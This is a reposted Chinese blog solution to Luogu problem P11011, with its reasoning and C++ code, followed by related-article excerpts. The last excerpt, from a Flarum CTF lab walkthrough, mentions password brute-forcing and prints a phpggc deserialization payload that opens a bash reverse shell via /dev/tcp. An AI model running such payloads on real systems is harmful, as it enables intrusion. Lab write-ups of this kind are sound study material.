洛谷 P11011 点的覆盖

news/2024/11/17 9:57:46/文章来源:https://www.cnblogs.com/maniubi/p/18390180

洛谷 P11011 点的覆盖

题意

给定一个四边平行于坐标轴的矩形 \(A\),给定 \(n\) 个在矩形 \(A\) 内部(可能在边缘上)的点。

求有多少个 \(A\) 的子矩形覆盖了所有 \(n\) 个点(允许在边缘上)。

所有坐标都是整数。

思路

求出:\(X_1=\max_{i=1}^n x_i\)\(X_2=\min_{i=1}^n x_i\)\(Y_1=\max_{i=1}^n y_i\)\(Y_2=\min_{i=1}^n y_i\)

记矩形左上角坐标为 \((x,y)\),右下角坐标为 \((X,Y)\),设点 \(P(X_2,Y_1)\)\(Q(X_1,Y_2)\) 如图:

容易发现子矩形的左上角只能在左上角的黑色矩形中,右下角只能在右下角的黑色矩形中。

算出两个矩形中有多少个整点,相乘即可。

左上角为 \((x,y)\),右下角为 \((X,Y)\) 的矩形中整点的个数为 \((X-x+1)(y-Y+1)\)

代码

#include <bits/stdc++.h>
#define ll long long
using namespace std;
const int N = 1e6 + 5;
const int mod = 1e9 + 7;
int n, X1, Y1, X2, Y2;
int xmax, xmin, ymax, ymin;
int main() {cin >> n >> X1 >> Y1 >> X2 >> Y2;xmin = ymin = 1e9;for (int i = 1, x, y; i <= n; i ++) {cin >> x >> y;xmin = min(xmin, x);xmax = max(xmax, x);ymin = min(ymin, y);ymax = max(ymax, y); }ll z = (xmin - X1 + 1) * (Y1 - ymax + 1) % mod;ll y = (X2 - xmax + 1) * (ymin - Y2 + 1) % mod;ll ans = z * y % mod;cout << ans << "\n";return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/790067.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用 nuxi build-module 命令构建 Nuxt 模块

title: 使用 nuxi build-module 命令构建 Nuxt 模块 date: 2024/8/31 updated: 2024/8/31 author: cmdragon excerpt: nuxi build-module 命令是构建 Nuxt 模块的核心工具,它将你的模块打包成适合生产环境的格式。通过使用 --stub 选项,你可以在开发过程中加快模块构建速度…

美团面试:10Wtps,Kafka为啥那快?kafka 零复制 Zero-copy 如何实现?

文章很长,且持续更新,建议收藏起来,慢慢读!疯狂创客圈总目录 博客园版 为您奉上珍贵的学习资源 : 免费赠送 :《尼恩Java面试宝典》 持续更新+ 史上最全 + 面试必备 2000页+ 面试必备 + 大厂必备 +涨薪必备 免费赠送 :《尼恩技术圣经+高并发系列PDF》 ,帮你 实现技术自由,…

django 内置server 外网不能访问, 报连接超时

django 内置server 外网不能访问, 报连接超时 python manage.py runserver 不能外网访问=============================== 1 确保开启了服务 python manage.py runserver 0.0.0.0:80=============================== 2 确保开启了防火墙 (1)查看防火墙端口# 查看开放的端口…

Photomator 3.3.22 (macOS Universal) - 照片编辑软件

Photomator 3.3.22 (macOS Universal) - 照片编辑软件Photomator 3.3.22 (macOS Universal) - 照片编辑软件 适用于 Mac、iPhone 和 iPad 的终极照片编辑器 请访问原文链接:https://sysin.org/blog/photomator/,查看最新版。原创作品,转载请保留出处。 作者主页:sysin.orgP…

国内优质免费CDN

国内优质免费CDN本期介绍国内免费并且优质的CDN多吉云每个月HTTPS额度 2000000 次每个月免费流量 30GB云存储免费额度 10GB活动参与方式 点我参与活动有效期 长期有效壹云,无畏云,括彩云.... 此云为融合云国内多家大厂等一系列公司的优质CDN节点 为什么这么多云? 这些都是代…

JS 扩展运算符(...)

平时在对接服务端的数据时,后端返回的数据格式总不尽相同,因此前端总是需要自己再把数据加工处理成自己想要的格式 最近在表格中渲染数据数据时就遇到了部分渲染不出来的情况,后来发现是对层数据,不能直接渲染的原因。 举个例子,一个数组或一个对象里面包含了另一个对象,…

leetcode 3 无重复字符最长串

leetcode 3 无重复字符最长串思路使用滑动窗口,建两个整型变量lp和rp,分别代表左边界指针和右边界指针,整型temp储存当前字串长度,整形max储存当前最长长度,然后从左往右遍历字符串。解题过程先将字符串toCharArray转成字符数组m,建一个哈希集合,储存当前已经用过的字符…

jenkins动态切换环境

一.代码层实现动态切换 1.首先在conftest.py下声明pytest_addoption钩子函数,写法如下def pytest_addoption(parser):# 设置要接收的命令行参数parser.addoption("--env", default="prod", choices=[pre, uat, prod, test],help="命令行参数,--env设…

vue3 jsx响应式渲染变量

1、JSX渲染变量 vue在html代码区渲染变量使用双大括号{{ }},jsx在渲染是单大括号{}另外,这里随便记一下一个简单有点绕的业务逻辑 2、多个变量影响判断三元表达式根据上图,想要的效果分别是:订单状态是否支付,显示对应状态 已支付的订单是否申请开发票,显示对应状态;且已…

春秋云镜 Flarum

春秋云镜 Flarum访问发现是个Flarum CMS框架.使用rockyou.txt爆破administrator得到密码1chris,登录后台 由于题目提示Flarum上执行任意命令,搜到了P牛的文章 照着打反序列化. 执行命令 ./phpggc -p tar -b Monolog/RCE6 system "bash -c bash -i >& /dev/tcp/123.…